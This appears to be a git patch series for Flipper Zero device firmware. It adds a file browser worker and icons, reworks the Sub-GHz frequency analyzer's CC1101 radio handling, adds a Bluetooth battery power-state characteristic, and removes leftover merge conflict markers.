browser_path_trim(path); + } + furi_record_close("storage"); + return is_root; +} + +static bool browser_folder_init( + BrowserWorker* browser, + string_t path, + string_t filename, + uint32_t* item_cnt, + int32_t* file_idx) { + bool state = false; + FileInfo file_info; + uint32_t total_files_cnt = 0; + + Storage* storage = furi_record_open("storage"); + File* directory = storage_file_alloc(storage); + + char name_temp[FILE_NAME_LEN_MAX]; + string_t name_str; + string_init(name_str); + + *item_cnt = 0; + *file_idx = -1; + + if(storage_dir_open(directory, string_get_cstr(path))) { + state = true; + while(1) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if((storage_file_get_error(directory) == FSE_OK) && (name_temp[0] != '\0')) { + total_files_cnt++; + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + if(!string_empty_p(filename)) { + if(string_cmp(name_str, filename) == 0) { + *file_idx = *item_cnt; + } + } + (*item_cnt)++; + } + if(total_files_cnt == LONG_LOAD_THRESHOLD) { + if(browser->long_load_cb) { + browser->long_load_cb(browser->cb_ctx); + } + } + } + } + } + + string_clear(name_str); + + storage_dir_close(directory); + storage_file_free(directory); + + furi_record_close("storage"); + + return state; +} + +static bool + browser_folder_load(BrowserWorker* browser, string_t path, uint32_t offset, uint32_t count) { + FileInfo file_info; + + Storage* storage = furi_record_open("storage"); + File* directory = storage_file_alloc(storage); + + char name_temp[FILE_NAME_LEN_MAX]; + string_t name_str; + string_init(name_str); + + uint32_t items_cnt = 0; + + do { + if(!storage_dir_open(directory, string_get_cstr(path))) { + break; + } + + items_cnt = 0; + while(items_cnt < offset) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if(storage_file_get_error(directory) == FSE_OK) { + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + items_cnt++; + } + } else { + break; + } + } + if(items_cnt != offset) { + break; + } + + if(browser->list_load_cb) { + browser->list_load_cb(browser->cb_ctx, offset); + } + + items_cnt = 0; + while(items_cnt < count) { + if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { + break; + } + if(storage_file_get_error(directory) == FSE_OK) { + string_set_str(name_str, name_temp); + if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { + string_printf(name_str, "%s/%s", string_get_cstr(path), name_temp); + if(browser->list_item_cb) { + browser->list_item_cb( + browser->cb_ctx, name_str, (file_info.flags & FSF_DIRECTORY), false); + } + items_cnt++; + } + } else { + break; + } + } + if(browser->list_item_cb) { + browser->list_item_cb(browser->cb_ctx, NULL, false, true); + } + } while(0); + + string_clear(name_str); + + storage_dir_close(directory); + storage_file_free(directory); + + furi_record_close("storage"); + + return (items_cnt == count); +} + +static int32_t browser_worker(void* context) { + BrowserWorker* browser = (BrowserWorker*)context; + furi_assert(browser); + FURI_LOG_D(TAG, "Start"); + + uint32_t items_cnt = 0; + string_t path; + string_init_set_str(path, BROWSER_ROOT); + browser->item_sel_idx = -1; + + // If start path is a path to the file - try finding index of this file in a folder + string_t filename; + string_init(filename); + if(browser_path_is_file(browser->path_next)) { + file_browser_worker_get_filename(browser->path_next, filename, false); + } + + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); + + while(1) { + uint32_t flags = osThreadFlagsWait(WORKER_FLAGS_ALL, osFlagsWaitAny, osWaitForever); + furi_assert((flags & osFlagsError) == 0); + + if(flags & WorkerEvtFolderEnter) { + string_set(path, browser->path_next); + bool is_root = browser_folder_check_and_switch(path); + + // Push previous selected item index to history array + idx_last_array_push_back(browser->idx_last, browser->item_sel_idx); + + int32_t file_idx = 0; + browser_folder_init(browser, path, filename, &items_cnt, &file_idx); + FURI_LOG_D( + TAG, + "Enter folder: %s items: %u idx: %d", + string_get_cstr(path), + items_cnt, + file_idx); + if(browser->folder_cb) { + browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); + } + string_reset(filename); + } + + if(flags & WorkerEvtFolderExit) { + browser_path_trim(path); + bool is_root = browser_folder_check_and_switch(path); + + int32_t file_idx = 0; + browser_folder_init(browser, path, filename, &items_cnt, &file_idx); + if(idx_last_array_size(browser->idx_last) > 0) { + // Pop previous selected item index from history array + idx_last_array_pop_back(&file_idx, browser->idx_last); + } + FURI_LOG_D( + TAG, "Exit to: %s items: %u idx: %d", string_get_cstr(path), items_cnt, file_idx); + if(browser->folder_cb) { + browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); + } + } + + if(flags & WorkerEvtLoad) { + FURI_LOG_D(TAG, "Load offset: %u cnt: %u", browser->load_offset, browser->load_count); + browser_folder_load(browser, path, browser->load_offset, browser->load_count); + } + + if(flags & WorkerEvtStop) { + break; + } + } + + string_clear(filename); + string_clear(path); + + FURI_LOG_D(TAG, "End"); + return 0; +} + +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { + size_t filename_start = string_search_rchar(path, '/'); + if(filename_start > 0) { + filename_start++; + string_set_n(name, path, filename_start, string_size(path) - filename_start); + } + if(trim_ext) { + size_t dot = string_search_rchar(name, '.'); + if(dot > 0) { + string_left(name, dot); + } + } +} + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { + BrowserWorker* browser = malloc(sizeof(BrowserWorker)); + + idx_last_array_init(browser->idx_last); + + string_init_set_str(browser->filter_extension, filter_ext); + browser->skip_assets = skip_assets; + string_init_set(browser->path_next, path); + + browser->thread = furi_thread_alloc(); + furi_thread_set_name(browser->thread, "BrowserWorker"); + furi_thread_set_stack_size(browser->thread, 2048); + furi_thread_set_context(browser->thread, browser); + furi_thread_set_callback(browser->thread, browser_worker); + furi_thread_start(browser->thread); + + return browser; +} + +void file_browser_worker_free(BrowserWorker* browser) { + furi_assert(browser); + + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtStop); + furi_thread_join(browser->thread); + furi_thread_free(browser->thread); + + string_clear(browser->filter_extension); + string_clear(browser->path_next); + + idx_last_array_clear(browser->idx_last); + + free(browser); +} + +void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context) { + furi_assert(browser); + browser->cb_ctx = context; +} + +void file_browser_worker_set_folder_callback( + BrowserWorker* browser, + BrowserWorkerFolderOpenCallback cb) { + furi_assert(browser); + browser->folder_cb = cb; +} + +void file_browser_worker_set_list_callback( + BrowserWorker* browser, + BrowserWorkerListLoadCallback cb) { + furi_assert(browser); + browser->list_load_cb = cb; +} + +void file_browser_worker_set_item_callback( + BrowserWorker* browser, + BrowserWorkerListItemCallback cb) { + furi_assert(browser); + browser->list_item_cb = cb; +} + +void file_browser_worker_set_long_load_callback( + BrowserWorker* browser, + BrowserWorkerLongLoadCallback cb) { + furi_assert(browser); + browser->long_load_cb = cb; +} + +void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx) { + furi_assert(browser); + string_set(browser->path_next, path); + browser->item_sel_idx = item_idx; + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); +} + +void file_browser_worker_folder_exit(BrowserWorker* browser) { + furi_assert(browser); + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderExit); +} + +void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count) { + furi_assert(browser); + browser->load_offset = offset; + browser->load_count = count; + osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtLoad); +} diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h new file mode 100644 index 000000000..821d5103f --- /dev/null +++ b/applications/gui/modules/file_browser_worker.h @@ -0,0 +1,57 @@ +#pragma once + +#include "m-string.h" +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef struct BrowserWorker BrowserWorker; +typedef void (*BrowserWorkerFolderOpenCallback)( + void* context, + uint32_t item_cnt, + int32_t file_idx, + bool is_root); +typedef void (*BrowserWorkerListLoadCallback)(void* context, uint32_t list_load_offset); +typedef void (*BrowserWorkerListItemCallback)( + void* context, + string_t item_path, + bool is_folder, + bool is_last); +typedef void (*BrowserWorkerLongLoadCallback)(void* context); + +void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); + +BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); + +void file_browser_worker_free(BrowserWorker* browser); + +void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context); + +void file_browser_worker_set_folder_callback( + BrowserWorker* browser, + BrowserWorkerFolderOpenCallback cb); + +void file_browser_worker_set_list_callback( + BrowserWorker* browser, + BrowserWorkerListLoadCallback cb); + +void file_browser_worker_set_item_callback( + BrowserWorker* browser, + BrowserWorkerListItemCallback cb); + +void file_browser_worker_set_long_load_callback( + BrowserWorker* browser, + BrowserWorkerLongLoadCallback cb); + +void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx); + +void file_browser_worker_folder_exit(BrowserWorker* browser); + +void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count); + +#ifdef __cplusplus +} +#endif diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index c0e1fdbaa..aedd666df 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -1,10 +1,12 @@ #include "subghz_frequency_analyzer_worker.h" -#include +#include #include #include "../subghz_i.h" +#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -90.0f + static const uint8_t subghz_preset_ook_58khz[][2] = { {CC1101_FIFOTHR, 0x47}, // The only important bit is ADC_RETENTION, FIFO Tx=33 Rx=32 {CC1101_MDMCFG4, 0xF5}, // Rx BW filter is 58.035714kHz @@ -37,6 +39,16 @@ struct SubGhzFrequencyAnalyzerWorker { void* context; }; +static void subghz_frequency_analyzer_worker_load_registers(const uint8_t data[][2]) { + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + uint32_t i = 0; + while(data[i][0]) { + cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, data[i][0], data[i][1]); + i++; + } + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); +} + // running average with adaptive coefficient static uint32_t subghz_frequency_analyzer_worker_expRunningAverageAdaptive( SubGhzFrequencyAnalyzerWorker* instance, @@ -65,27 +77,55 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { float rssi; uint32_t frequency; uint32_t frequency_start; + CC1101Status status; //Start CC1101 furi_hal_subghz_reset(); - furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); - furi_hal_subghz_set_frequency(433920000); - furi_hal_subghz_flush_rx(); + + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_flush_rx(&furi_hal_spi_bus_handle_subghz); + cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); + cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL2, + 0b0000111); // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL1, + 0b00000000); // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET + cc1101_write_reg( + &furi_hal_spi_bus_handle_subghz, + CC1101_AGCCTRL0, + 0b00000001); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 00 - 8 samples agc; 00 - Normal AGC, 01 - 8dB boundary + + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); - furi_hal_subghz_rx(); while(instance->worker_running) { osDelay(10); frequency_rssi.rssi = -127.0f; furi_hal_subghz_idle(); - furi_hal_subghz_load_registers(subghz_preset_ook_650khz); + subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_650khz); + for(size_t i = 0; i < subghz_setting_get_frequency_count(instance->setting); i++) { if(furi_hal_subghz_is_frequency_valid( subghz_setting_get_frequency(instance->setting, i))) { - furi_hal_subghz_idle(); - frequency = furi_hal_subghz_set_frequency( + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); + frequency = cc1101_set_frequency( + &furi_hal_spi_bus_handle_subghz, subghz_setting_get_frequency(instance->setting, i)); - furi_hal_subghz_rx(); + + cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); + do { + status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); + } while(status.STATE != CC1101StateIDLE); + + cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + osDelay(3); rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { @@ -95,19 +135,28 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - if(frequency_rssi.rssi > -90.0) { + if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { // -0.5 ... 433.92 ... +0.5 - frequency_start = frequency_rssi.frequency - 250000; - //step 10KHz + frequency_start = frequency_rssi.frequency - 500000; frequency_rssi.rssi = -127.0; furi_hal_subghz_idle(); - furi_hal_subghz_load_registers(subghz_preset_ook_58khz); + subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); + //step 10KHz for(uint32_t i = frequency_start; i < frequency_start + 500000; i += 10000) { if(furi_hal_subghz_is_frequency_valid(i)) { - furi_hal_subghz_idle(); - frequency = furi_hal_subghz_set_frequency(i); - furi_hal_subghz_rx(); - osDelay(3); + furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); + cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); + frequency = cc1101_set_frequency(&furi_hal_spi_bus_handle_subghz, i); + + cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); + do { + status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); + } while(status.STATE != CC1101StateIDLE); + + cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); + furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); + + osDelay(5); rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; @@ -117,7 +166,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - if(frequency_rssi.rssi > -90.0) { + if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { instance->count_repet = 20; if(instance->filVal) { frequency_rssi.frequency = diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 4992c7d96..6e05e9d89 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -40,6 +40,9 @@ const uint8_t* const _I_125_10px[] = {_I_125_10px_0}; const uint8_t _I_Nfc_10px_0[] = {0x00,0x80,0x00,0x00,0x01,0x22,0x02,0x43,0x02,0x45,0x02,0x49,0x02,0x31,0x02,0x22,0x02,0x00,0x01,0x80,0x00,}; const uint8_t* const _I_Nfc_10px[] = {_I_Nfc_10px_0}; +const uint8_t _I_back_10px_0[] = {0x00,0x00,0x00,0x10,0x00,0x38,0x00,0x7C,0x00,0xFE,0x00,0x38,0x00,0x38,0x00,0xF8,0x01,0xF8,0x01,0x00,0x00,}; +const uint8_t* const _I_back_10px[] = {_I_back_10px_0}; + const uint8_t _I_badusb_10px_0[] = {0x01,0x00,0x11,0x00,0x00,0x0f,0xe2,0x01,0xfc,0x80,0xdd,0x20,0x32,0x48,0x08,0x14,0x40,0x23,0xa8,0x08,0xa0,}; const uint8_t* const _I_badusb_10px[] = {_I_badusb_10px_0}; @@ -55,6 +58,9 @@ const uint8_t* const _I_ibutt_10px[] = {_I_ibutt_10px_0}; const uint8_t _I_ir_10px_0[] = {0x00,0xFC,0x00,0x02,0x01,0x79,0x02,0x84,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x58,0x00,0x78,0x00,0xFF,0x03,}; const uint8_t* const _I_ir_10px[] = {_I_ir_10px_0}; +const uint8_t _I_loading_10px_0[] = {0x00,0xFE,0x00,0x82,0x00,0xBA,0x00,0x54,0x00,0x28,0x00,0x28,0x00,0x44,0x00,0x92,0x00,0xBA,0x00,0xFE,0x00,}; +const uint8_t* const _I_loading_10px[] = {_I_loading_10px_0}; + const uint8_t _I_sub1_10px_0[] = {0x01,0x00,0x12,0x00,0x81,0x40,0x69,0x30,0x2c,0x2c,0x0b,0x6a,0x01,0x28,0x0c,0x0a,0x65,0x01,0x98,0x40,0x00,0x26,}; const uint8_t* const _I_sub1_10px[] = {_I_sub1_10px_0}; @@ -730,11 +736,13 @@ const Icon A_Levelup1_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rat const Icon A_Levelup2_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rate=2,.frames=_A_Levelup2_128x64}; const Icon I_125_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_125_10px}; const Icon I_Nfc_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_Nfc_10px}; +const Icon I_back_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_back_10px}; const Icon I_badusb_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_badusb_10px}; const Icon I_ble_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ble_10px}; const Icon I_dir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_dir_10px}; const Icon I_ibutt_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ibutt_10px}; const Icon I_ir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ir_10px}; +const Icon I_loading_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_loading_10px}; const Icon I_sub1_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_sub1_10px}; const Icon I_u2f_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_u2f_10px}; const Icon I_unknown_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_unknown_10px}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index c824d97fc..24357b34e 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -7,11 +7,13 @@ extern const Icon A_Levelup1_128x64; extern const Icon A_Levelup2_128x64; extern const Icon I_125_10px; extern const Icon I_Nfc_10px; +extern const Icon I_back_10px; extern const Icon I_badusb_10px; extern const Icon I_ble_10px; extern const Icon I_dir_10px; extern const Icon I_ibutt_10px; extern const Icon I_ir_10px; +extern const Icon I_loading_10px; extern const Icon I_sub1_10px; extern const Icon I_u2f_10px; extern const Icon I_unknown_10px; diff --git a/assets/icons/Archive/back_10px.png b/assets/icons/Archive/back_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..008efe82fa129f55c8efa77688dd507f31398896 GIT binary patch literal 154 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2V6Od#Ih`sfGge++G4X{LmR$r2S$euShDcma{&W9q1G|A@v4nS_xAT(=AqI)BoYRaGO@;Li wag`sfGge++QC**pItze8KAtX)ArhBs`vdt77;ren`<{QJxM$1n6@^=3kBM_gs5bkj zOgNacP$Dkno^tQ4ONX;p$w=sbzP$Pyzt8HuHJfiox2e6^5wrUCr{B&G7(ZT+pZ{3J RO%!M@gQu&X%Q~loCIH;wIT`=} literal 0 HcmV?d00001 diff --git a/firmware/targets/f7/ble_glue/app_conf.h b/firmware/targets/f7/ble_glue/app_conf.h index 1406f9649..1d7474da5 100644 --- a/firmware/targets/f7/ble_glue/app_conf.h +++ b/firmware/targets/f7/ble_glue/app_conf.h @@ -127,7 +127,7 @@ * Maximum number of simultaneous connections that the device will support. * Valid values are from 1 to 8 */ -#define CFG_BLE_NUM_LINK 2 +#define CFG_BLE_NUM_LINK 1 /** * Maximum number of Services that can be stored in the GATT database. diff --git a/firmware/targets/f7/ble_glue/battery_service.c b/firmware/targets/f7/ble_glue/battery_service.c index 85f1eeea0..b35dd89b2 100644 --- a/firmware/targets/f7/ble_glue/battery_service.c +++ b/firmware/targets/f7/ble_glue/battery_service.c @@ -8,13 +8,44 @@ typedef struct { uint16_t svc_handle; - uint16_t char_level_handle; + uint16_t battery_level_char_handle; + uint16_t power_state_char_handle; } BatterySvc; +enum { + // Common states + BatterySvcPowerStateUnknown = 0b00, + BatterySvcPowerStateUnsupported = 0b01, + // Level states + BatterySvcPowerStateGoodLevel = 0b10, + BatterySvcPowerStateCriticallyLowLevel = 0b11, + // Charging states + BatterySvcPowerStateNotCharging = 0b10, + BatterySvcPowerStateCharging = 0b11, + // Discharging states + BatterySvcPowerStateNotDischarging = 0b10, + BatterySvcPowerStateDischarging = 0b11, + // Battery states + BatterySvcPowerStateBatteryNotPresent = 0b10, + BatterySvcPowerStateBatteryPresent = 0b11, +}; + +typedef struct { + uint8_t present : 2; + uint8_t discharging : 2; + uint8_t charging : 2; + uint8_t level : 2; +} BattrySvcPowerState; + +_Static_assert(sizeof(BattrySvcPowerState) == 1, "Incorrect structure size"); + static BatterySvc* battery_svc = NULL; +#define BATTERY_POWER_STATE (0x2A1A) + static const uint16_t service_uuid = BATTERY_SERVICE_UUID; -static const uint16_t char_battery_level_uuid = BATTERY_LEVEL_CHAR_UUID; +static const uint16_t battery_level_char_uuid = BATTERY_LEVEL_CHAR_UUID; +static const uint16_t power_state_char_uuid = BATTERY_POWER_STATE; void battery_svc_start() { battery_svc = malloc(sizeof(BatterySvc)); @@ -22,7 +53,7 @@ void battery_svc_start() { // Add Battery service status = aci_gatt_add_service( - UUID_TYPE_16, (Service_UUID_t*)&service_uuid, PRIMARY_SERVICE, 4, &battery_svc->svc_handle); + UUID_TYPE_16, (Service_UUID_t*)&service_uuid, PRIMARY_SERVICE, 8, &battery_svc->svc_handle); if(status) { FURI_LOG_E(TAG, "Failed to add Battery service: %d", status); } @@ -30,14 +61,29 @@ void battery_svc_start() { status = aci_gatt_add_char( battery_svc->svc_handle, UUID_TYPE_16, - (Char_UUID_t*)&char_battery_level_uuid, + (Char_UUID_t*)&battery_level_char_uuid, 1, CHAR_PROP_READ | CHAR_PROP_NOTIFY, ATTR_PERMISSION_AUTHEN_READ, GATT_DONT_NOTIFY_EVENTS, 10, CHAR_VALUE_LEN_CONSTANT, - &battery_svc->char_level_handle); + &battery_svc->battery_level_char_handle); + if(status) { + FURI_LOG_E(TAG, "Failed to add Battery level characteristic: %d", status); + } + // Add Power state characteristic + status = aci_gatt_add_char( + battery_svc->svc_handle, + UUID_TYPE_16, + (Char_UUID_t*)&power_state_char_uuid, + 1, + CHAR_PROP_READ | CHAR_PROP_NOTIFY, + ATTR_PERMISSION_AUTHEN_READ, + GATT_DONT_NOTIFY_EVENTS, + 10, + CHAR_VALUE_LEN_CONSTANT, + &battery_svc->power_state_char_handle); if(status) { FURI_LOG_E(TAG, "Failed to add Battery level characteristic: %d", status); } @@ -47,7 +93,13 @@ void battery_svc_stop() { tBleStatus status; if(battery_svc) { // Delete Battery level characteristic - status = aci_gatt_del_char(battery_svc->svc_handle, battery_svc->char_level_handle); + status = + aci_gatt_del_char(battery_svc->svc_handle, battery_svc->battery_level_char_handle); + if(status) { + FURI_LOG_E(TAG, "Failed to delete Battery level characteristic: %d", status); + } + // Delete Power state characteristic + status = aci_gatt_del_char(battery_svc->svc_handle, battery_svc->power_state_char_handle); if(status) { FURI_LOG_E(TAG, "Failed to delete Battery level characteristic: %d", status); } @@ -73,7 +125,37 @@ bool battery_svc_update_level(uint8_t battery_charge) { // Update battery level characteristic FURI_LOG_D(TAG, "Updating battery level characteristic"); tBleStatus result = aci_gatt_update_char_value( - battery_svc->svc_handle, battery_svc->char_level_handle, 0, 1, &battery_charge); + battery_svc->svc_handle, battery_svc->battery_level_char_handle, 0, 1, &battery_charge); + if(result) { + FURI_LOG_E(TAG, "Failed updating RX characteristic: %d", result); + } + return result != BLE_STATUS_SUCCESS; +} + +bool battery_svc_update_power_state(bool is_charging) { + // Check if service was started + if(battery_svc == NULL) { + return false; + } + // Update power state characteristic + BattrySvcPowerState power_state = { + .level = BatterySvcPowerStateUnsupported, + .present = BatterySvcPowerStateBatteryPresent, + }; + if(is_charging) { + power_state.charging = BatterySvcPowerStateCharging; + power_state.discharging = BatterySvcPowerStateNotDischarging; + } else { + power_state.charging = BatterySvcPowerStateNotCharging; + power_state.discharging = BatterySvcPowerStateDischarging; + } + FURI_LOG_D(TAG, "Updating power state characteristic"); + tBleStatus result = aci_gatt_update_char_value( + battery_svc->svc_handle, + battery_svc->power_state_char_handle, + 0, + 1, + (uint8_t*)&power_state); if(result) { FURI_LOG_E(TAG, "Failed updating RX characteristic: %d", result); } diff --git a/firmware/targets/f7/ble_glue/battery_service.h b/firmware/targets/f7/ble_glue/battery_service.h index 2d35e252d..10676648b 100644 --- a/firmware/targets/f7/ble_glue/battery_service.h +++ b/firmware/targets/f7/ble_glue/battery_service.h @@ -15,6 +15,8 @@ bool battery_svc_is_started(); bool battery_svc_update_level(uint8_t battery_level); +bool battery_svc_update_power_state(bool is_charging); + #ifdef __cplusplus } #endif diff --git a/firmware/targets/f7/ble_glue/serial_service.c b/firmware/targets/f7/ble_glue/serial_service.c index a5d3b97a1..8df8aaa0b 100644 --- a/firmware/targets/f7/ble_glue/serial_service.c +++ b/firmware/targets/f7/ble_glue/serial_service.c @@ -54,6 +54,23 @@ static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { } serial_svc->bytes_ready_to_receive -= MIN( serial_svc->bytes_ready_to_receive, attribute_modified->Attr_Data_Length); + + // Update flow control characteristic without notification + uint32_t buff_size_reversed = + REVERSE_BYTES_U32(serial_svc->bytes_ready_to_receive); + tBleStatus result = aci_gatt_update_char_value_ext( + 0, + serial_svc->svc_handle, + serial_svc->flow_ctrl_char_handle, + 0, + sizeof(uint32_t), + 0, + sizeof(uint32_t), + (uint8_t*)&buff_size_reversed); + if(result) { + FURI_LOG_E(TAG, "Failed to update flow control char: %02X", result); + } + SerialServiceEvent event = { .event = SerialServiceEventTypeDataReceived, .data = { diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt.c b/firmware/targets/f7/furi_hal/furi_hal_bt.c index 48d69844d..426fd8d14 100755 --- a/firmware/targets/f7/furi_hal/furi_hal_bt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt.c @@ -284,6 +284,12 @@ void furi_hal_bt_update_battery_level(uint8_t battery_level) { } } +void furi_hal_bt_update_power_state(bool battery_is_charging) { + if(battery_svc_is_started()) { + battery_svc_update_power_state(battery_is_charging); + } +} + void furi_hal_bt_get_key_storage_buff(uint8_t** key_buff_addr, uint16_t* key_buff_size) { ble_app_get_key_storage_buff(key_buff_addr, key_buff_size); } diff --git a/firmware/targets/furi_hal_include/furi_hal_bt.h b/firmware/targets/furi_hal_include/furi_hal_bt.h index 73b16becb..7d1b0858e 100644 --- a/firmware/targets/furi_hal_include/furi_hal_bt.h +++ b/firmware/targets/furi_hal_include/furi_hal_bt.h @@ -91,6 +91,12 @@ bool furi_hal_bt_change_app(FuriHalBtProfile profile, GapEventCallback event_cb, */ void furi_hal_bt_update_battery_level(uint8_t battery_level); +/** Update battery power state + * + * @param battery_is_charging battery charging state + */ +void furi_hal_bt_update_power_state(bool battery_is_charging); + /** Checks if BLE state is active * * @return true if device is connected or advertising, false otherwise From c12fc57997b614b37bd503adcddc9d6518ba1a09 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 01:35:30 +0300 Subject: [PATCH 174/461] fetch upstream --- .../subghz_frequency_analyzer_worker.c | 56 ------------------- 1 file changed, 56 deletions(-) diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index 478bec7c9..88e2a621c 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -5,13 +5,9 @@ #include "../subghz_i.h" -<<<<<<< HEAD -#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -90.0f -======= #define TAG "SubghzFrequencyAnalyzerWorker" #define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -95.0f ->>>>>>> upstream/dev static const uint8_t subghz_preset_ook_58khz[][2] = { {CC1101_MDMCFG4, 0b11110111}, // Rx BW filter is 58.035714kHz @@ -41,11 +37,7 @@ struct SubGhzFrequencyAnalyzerWorker { static void subghz_frequency_analyzer_worker_load_registers(const uint8_t data[][2]) { furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); -<<<<<<< HEAD - uint32_t i = 0; -======= size_t i = 0; ->>>>>>> upstream/dev while(data[i][0]) { cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, data[i][0], data[i][1]); i++; @@ -78,14 +70,8 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { SubGhzFrequencyAnalyzerWorker* instance = context; FrequencyRSSI frequency_rssi = {.frequency = 0, .rssi = 0}; -<<<<<<< HEAD - float rssi; - uint32_t frequency; - uint32_t frequency_start; -======= float rssi = 0; uint32_t frequency = 0; ->>>>>>> upstream/dev CC1101Status status; //Start CC1101 @@ -95,20 +81,6 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { 